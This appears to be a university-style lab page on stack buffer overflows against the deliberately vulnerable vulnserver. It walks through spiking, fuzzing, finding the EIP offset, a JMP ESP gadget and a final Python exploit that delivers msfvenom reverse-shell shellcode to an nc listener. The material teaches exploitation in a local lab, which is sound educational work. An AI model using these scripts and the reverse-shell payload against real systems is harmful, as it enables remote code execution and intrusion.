Buffer Overflow

Objectives: By the end of this topic, you will be able to…

  • Conceptually explain what a buffer overflow is
  • Identify a vulnerable network command through spiking and fuzzing
  • Calculate the exact offset to overwrite the instruction pointer
  • Redirect execution to attacker-controlled shellcode
  • Generate and deliver a working reverse shell payload

What is a buffer overflow?

A buffer overflow occurs when a program writes more data than a memory buffer can hold, overwriting adjacent areas. This behavior can be exploited to manipulate the program’s execution flow and execute arbitrary code.

This vulnerability is common in programs written in C or C++, which do not automatically check array bounds. The difference between a safe and an unsafe read is often a single function call:

char buffer[64];
 
/* Vulnerable: strcpy() has no length limit —
   input longer than 63 chars silently overwrites adjacent memory */
strcpy(buffer, input);
 
/* Safe: strncpy() stops at n-1 characters */
strncpy(buffer, input, sizeof(buffer) - 1);

strcpy was never removed from C, but its use is considered unsafe in any context where the source length is not already known to be bounded.


Program memory: stack, heap, and registers

Stack

The stack is a LIFO (Last In, First Out) memory area that stores local variables and function return addresses. Its predictable structure makes it highly prone to overflow vulnerabilities — data written past the end of a local buffer can reach and overwrite adjacent values, including the return address.

Heap

The heap is the memory region for dynamic allocation (e.g., malloc). It is less structured than the stack, but it is also vulnerable to overflow attacks that corrupt adjacent heap metadata or object fields.

CPU Registers

Registers such as EIP (Extended Instruction Pointer, 32-bit) and RIP (Register Instruction Pointer, 64-bit) store the address of the next instruction to execute. Overwriting these registers is the core goal of a stack-based exploit, because it allows the attacker to redirect the program’s execution flow to arbitrary code.

ESP (Extended Stack Pointer) always points to the current top of the stack. It decreases as values are pushed and increases as values are popped. When a function executes ret, the CPU pops the return address into EIP and increments ESP by 4 — advancing it past the return address slot. In a crafted exploit payload, the bytes immediately following the overwritten return address are the attacker’s shellcode, which is exactly where ESP lands after ret executes.


Function structure in assembly (stack frame)

When a function is called, a stack frame is created:

|---------------------|  <- higher addresses
| Parameters          |
|---------------------|
| Return Address (EIP)|  <- overwriting this redirects execution
|---------------------|
| Saved EBP (Base Ptr)|
|---------------------|
| Local Variables     |  <- buffer lives here; overflow grows upward
|---------------------|  <- lower addresses (ESP)

Overflowing a local buffer overwrites the return address, redirecting the program’s flow when the function returns.

How the overflow reaches EIP

The buffer lives at the bottom of the stack frame (lowest address). When strcpy copies our input into it, it writes sequentially toward higher addresses. Once the buffer is full, the write continues into the saved EBP and then into the return address — with no error or exception.

The number of bytes required to reach the return address is the offset. After the offset, the next 4 bytes land exactly on EIP. Everything after that sits in memory just above the return address slot, which is where our shellcode will be:

Our input  →  [ A * offset ][ EIP value ][ shellcode... ]
                    ↓              ↓              ↓
Stack      →  [ buffer     ][ ret addr  ][ ← ESP here after ret ]

When the function executes ret, the CPU loads the overwritten return address into EIP — giving the attacker complete control of execution.


EIP / RIP and control of execution flow

In 32-bit systems EIP holds the address of the next instruction to execute; in 64-bit systems RIP serves the same role. A successful buffer overflow overwrites this value, diverting execution to shellcode or another attacker-controlled address.

The classic exploitation technique redirects EIP to a JMP ESP instruction found somewhere in a loaded module. When the function returns:

  1. EIP is loaded with the address of JMP ESP
  2. The JMP ESP instruction executes, jumping to ESP
  3. ESP points directly at the shellcode we placed after the overwritten EIP
  4. The shellcode runs

Shellcode and reverse shells

Shellcode is the attacker’s payload — a small piece of machine code injected into the vulnerable process’s memory and executed once EIP is controlled. The name comes from its classic goal: spawning an interactive shell (/bin/sh).

A reverse shell is a connection that the victim machine initiates outward to the attacker, rather than the attacker connecting inward. This sidesteps firewalls that block unsolicited incoming connections. The attacker listens on a port with a tool like nc, and the shellcode running inside the victim process connects back, handing over an interactive shell:

Attacker (Kali)                    Victim (vulnserver)
  nc -lvnp 4444  ←── reverse TCP ──  shellcode running
  $ id                                inside the process
  uid=1000(kali)

Tools like msfvenom generate shellcode for any target platform, payload type, and port, outputting ready-to-embed bytes. Bad characters must be excluded so the shellcode survives the server’s input processing intact.


Modern protections

ProtectionDescription
ASLR (Address Space Layout Randomization)Randomizes memory region locations to prevent jumping to predictable addresses
DEP / NX (Data Execution Prevention / No-Execute)Marks memory regions as non-executable (like the stack)
Stack CanariesRandom values before the return address that detect overwrites
PIEPosition-Independent Executable — randomizes the binary’s own load address

This lab targets a 32-bit binary compiled without these protections, which is common in legacy software and embedded systems.


Hands-on lab

Requirements: Kali Linux, gcc, gcc-multilib, python3, pipx, Metasploit tools (msf-pattern_create, msfvenom)

The target is vulnserver — a deliberately vulnerable TCP (Transmission Control Protocol) server. We compile and run it natively on Kali Linux as a 32-bit binary, which gives us direct access to GDB (GNU Debugger) and makes shellcode execution straightforward.

The exploitation follows the classic 7-step methodology:

StepGoal
1. SpikingSend large inputs to each command to identify which one crashes the server
2. FuzzingBombard the vulnerable command with growing payloads to find the approximate crash size
3. OffsetUse a cyclic pattern to pinpoint the exact byte count that overwrites EIP
4. EIP OverwriteConfirm full EIP control by placing a known value (BBBB) there
5. Bad CharactersIdentify bytes the server corrupts — these cannot appear in the shellcode
6. JMP ESPFind a fixed-address JMP ESP instruction to redirect execution to the stack
7. ShellcodeDeliver a working payload and receive a reverse shell

Setup: Compiling and running vulnserver

1. Install dependencies:

sudo apt update
sudo apt install -y gcc gcc-multilib python3 gdb pipx
pipx install ropgadget

2. Clone the source code:

git clone https://github.com/velomeister/linux-vulnserver.git
cd linux-vulnserver

3. Compile:

gcc vulnserver.c -o vulnserver \
    -m32 -fno-stack-protector -z execstack -no-pie -lpthread

The flags disable all modern mitigations for the purposes of this lab:

FlagEffect
-m32Compile as 32-bit (EIP-based, simpler offsets)
-fno-stack-protectorDisable stack canaries
-z execstackMark the stack as executable
-no-pieFixed binary load address (no ASLR on the binary itself)

4. Run vulnserver:

./vulnserver
Starting vulnserver version 1.00

This is vulnerable software!
Do not allow access from untrusted systems or networks!

Waiting for client connections...

5. Connect with netcat to explore the server:

Open a second terminal:

nc -nv 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.

Type HELP to see available commands:

Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

The goal is to find which of these commands is vulnerable to a buffer overflow.


Part 1: Spiking — finding the vulnerable command

Spiking is the process of sending a large amount of data to each command to see which one crashes the server. We write a small Python script for each command we want to test.

The TRUN command only triggers its vulnerable code path when the input contains a . character. We use the prefix /.:/ to satisfy this check.

Restart vulnserver between each spike.

spike_stats.py — test STATS:

import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"STATS /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")

Run it and try connecting again with netcat. STATS should still respond — it is not vulnerable.

spike_trun.py — test TRUN:

import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")

After running this, vulnserver will crash. Trying to connect again with netcat will fail — TRUN is vulnerable.


Part 2: Fuzzing — finding the approximate crash size

Now that we know TRUN is vulnerable, we fuzz it to find approximately how many bytes cause the crash. Restart vulnserver, then run:

fuzz.py:

import socket
import time
 
buffer = b"A" * 100
 
while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("127.0.0.1", 9999))
        s.recv(1024)
        print(f"Sending {len(buffer)} bytes...")
        s.send(b"TRUN /.:/ " + buffer + b"\r\n")
        s.close()
        time.sleep(1)
        buffer += b"A" * 100
    except Exception as e:
        print(f"Fuzzing crashed at approximately {len(buffer)} bytes")
        break
python3 fuzz.py

Note the approximate byte count at which the crash occurs.


Part 3: Finding the exact offset

To find the exact byte offset at which EIP is overwritten, we send a cyclic (De Bruijn) pattern — a sequence where every 4-byte substring is unique. We can then read the EIP value from the crash and calculate the offset precisely.

For this step we run vulnserver inside GDB so we can inspect registers after the crash.

1. Start vulnserver inside GDB:

gdb -q ./vulnserver
(gdb) run

Leave this terminal open. GDB will catch the crash automatically.

2. Generate a 3000-byte pattern and send it:

In a second terminal:

msf-pattern_create -l 3000

find_offset.py:

import socket
 
pattern = b"<paste the output of msf-pattern_create here>"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + pattern + b"\r\n")
s.close()

3. Read the EIP value from GDB:

GDB will catch the segfault and print:

Program received signal SIGSEGV, Segmentation fault.
0xXXXXXXXX in ?? ()
(gdb) info registers eip
eip   0xXXXXXXXX   0xXXXXXXXX

Note the EIP value — you will need it in the next step.

4. Calculate the exact offset:

msf-pattern_offset -l 3000 -q <EIP_VALUE>
[*] Exact match at offset <YOUR_OFFSET>

? Why does a cyclic (De Bruijn) pattern make finding the offset easier than filling the buffer with a single repeated character like A?


Part 4: Overwriting the EIP

We verify full EIP control by sending exactly <offset> A’s followed by 4 B’s. If the offset is correct, EIP will contain 0x42424242.

Restart vulnserver inside GDB, then from a second terminal run:

overwrite_eip.py:

import socket
 
offset = <YOUR_OFFSET>  # value from msf-pattern_offset
 
shellcode = b"A" * offset + b"B" * 4
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()

GDB should show:

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

We fully control EIP.

? In a real exploit, what value would replace the four B bytes, and how would you ensure that value is stable across runs?


Part 5: Finding bad characters

Some byte values cannot be used in shellcode because the server’s parsing code will strip, alter, or truncate them. These are called bad characters. The null byte (\x00) is the most universal bad character because C string functions treat it as a string terminator.

We send every possible byte value (\x01\xff) after the EIP overwrite and check whether they all arrive intact.

Restart vulnserver (no GDB needed for this step), then run:

badchars.py:

import socket
 
offset = <YOUR_OFFSET>  # value from msf-pattern_offset
 
# All bytes from \x01 to \xff (\x00 excluded — it terminates C strings)
badchars = bytes(range(1, 256))
 
shellcode = b"A" * offset + b"B" * 4 + badchars
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()

To inspect which bytes arrived on the stack, restart vulnserver inside GDB and re-run the script. After the crash:

(gdb) x/256xb $esp

This prints 256 bytes at ESP as a hex dump. Scan for any missing or out-of-order byte values. If \x0d is missing, for example, it is a bad character that must be excluded from the shellcode.

For vulnserver’s TRUN command, no bad characters exist beyond \x00 — all bytes \x01\xff pass through cleanly.


Part 6: Finding a JMP ESP gadget

We need to replace the four B bytes with the address of a JMP ESP instruction located in a module loaded at a fixed address. When the function returns:

  1. EIP loads the JMP ESP address
  2. JMP ESP executes, jumping to the top of the stack
  3. ESP points to our shellcode

Our vulnserver binary contains a deliberate JMP ESP gadget in the jmp_esp_gadget() function. Since we compiled with -no-pie, its address is fixed every run.

Find the JMP ESP address:

ROPgadget --binary vulnserver | grep "jmp esp"

ROPgadget may return several results. Apply these criteria to pick the best one:

  1. Prefer a clean jmp esp — avoid gadgets with prefixes like call or sequences like add [eax], al; jmp esp, as extra instructions can corrupt registers or memory before the jump.
  2. Avoid addresses containing bad characters — if \x00 is a bad char (it always is), any address with a null byte will be truncated. Check that none of the four bytes in the address are in your bad chars list.
  3. Prefer the binary’s own code section — addresses in vulnserver itself (around 0x0804xxxx) are fixed because we compiled with -no-pie. Gadgets in shared libraries may shift if the library version changes.

Convert the chosen address to little-endian format (x86 stores multi-byte values with the least significant byte first). For example, if the address is 0xAABBCCDD, the little-endian bytes are \xDD\xCC\xBB\xAA.

Verify the gadget works by restarting vulnserver inside GDB and running:

verify_jmp.py:

import socket
 
offset  = <YOUR_OFFSET>            # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>"      # little-endian bytes of your JMP ESP address
 
shellcode = b"A" * offset + jmp_esp
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()

After the crash, GDB will show EIP somewhere on the stack (an address in the same range as ESP), and the disassembly will show it trying to execute bytes from our payload:

$eip : 0xf7d5437d
$esp : 0xf7d5436c

This is the expected result. The JMP ESP jumped to ESP and the CPU began executing whatever bytes were there (the trailing A’s and \r\n). The crash happens because those bytes are not valid shellcode — not because of memory protection. The stack is executable. The next step places a real payload there.


Part 7: Generating shellcode and gaining access

The final payload combines every value found in the previous steps into a single crafted buffer:

[ A * offset ][ JMP ESP addr ][ NOP sled ][ shellcode ]
      ↑               ↑             ↑            ↑
  fills the       overwrites    landing pad   reverse
  buffer up to    return addr   (\x90 × 32)    shell
  EIP             (4 bytes,                   payload
                  little-endian)

When sent to vulnserver:

  1. The A’s fill the buffer exactly up to the return address
  2. The JMP ESP address overwrites EIP — on ret, execution jumps to the JMP ESP gadget
  3. JMP ESP redirects execution to ESP, which now points to the NOP sled
  4. The NOP sled slides into the shellcode
  5. The shellcode connects back to our listener

We now have everything we need:

  • <YOUR_OFFSET> bytes of padding (A’s) to fill the buffer
  • 4 bytes of JMP ESP address in little-endian format
  • A NOP sled (No Operation, \x90 × 32) — gives the shellcode some landing room
  • The shellcode — a reverse shell that connects back to us

1. Open a listener:

nc -lvnp 4444

2. Generate the reverse shell payload:

msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=127.0.0.1 LPORT=4444 \
    -f python -b "\x00"

Replace 127.0.0.1 with your Kali IP address if attacking across a network.

3. Build and run the final exploit:

exploit.py:

import socket
 
offset  = <YOUR_OFFSET>            # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>"      # little-endian bytes of your JMP ESP address
 
# Paste the buf variable from msfvenom output here
buf =  b""
buf += b"..."  # truncated — paste full msfvenom output
 
nop_sled = b"\x90" * 32
 
shellcode = b"A" * offset + jmp_esp + nop_sled + buf
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()
print("Payload sent.")

Restart vulnserver (outside GDB this time), then run the exploit:

python3 exploit.py

Switch to the terminal running nc -lvnp 4444. You should receive a shell:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] ...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$

Cleanup

No persistent system changes are made during this lab. When you are done, simply terminate vulnserver.


Submission

  • Screenshots of:

    • TRUN crash during spiking (vulnserver process killed)
    • Fuzzer output showing approximate crash byte count
    • GDB output showing EIP value from cyclic pattern crash
    • msf-pattern_offset result
    • GDB showing EIP:42424242 after EIP overwrite step
    • GDB showing EIP on the stack after JMP ESP verification
    • ROPgadget output showing the JMP ESP address
    • Reverse shell received in the netcat listener
  • A short report including:

    • The approximate crash size found during fuzzing
    • The EIP value read from GDB after sending the cyclic pattern
    • The exact offset calculated with msf-pattern_offset
    • The JMP ESP address you found with ROPgadget, in both hex and little-endian byte format
    • The bad characters you identified (if any beyond \x00)
    • Your full exploit.py script with all values filled in
    • Any difficulties encountered and how you resolved them

Key concepts

TermDefinition
Buffer overflowVulnerability caused by writing beyond the boundaries of a memory buffer
RIPRegisters that store the address of the next instruction to execute
ESPRegister that points to the top of the stack; shellcode lands here after overflow
StackLIFO memory structure for local variables and return addresses
ASLRAddress Space Layout Randomization — randomizes module load addresses
NOP sledSequence of NOP (\x90) instructions that slide execution into the shellcode
ShellcodeInjected machine code to open a system shell or establish a reverse connection
JMP ESPAssembly instruction that redirects execution to the top of the stack
Bad charactersByte values that are altered or stripped by the target, making them unusable in shellcode

Navigation:Previous | Home | Next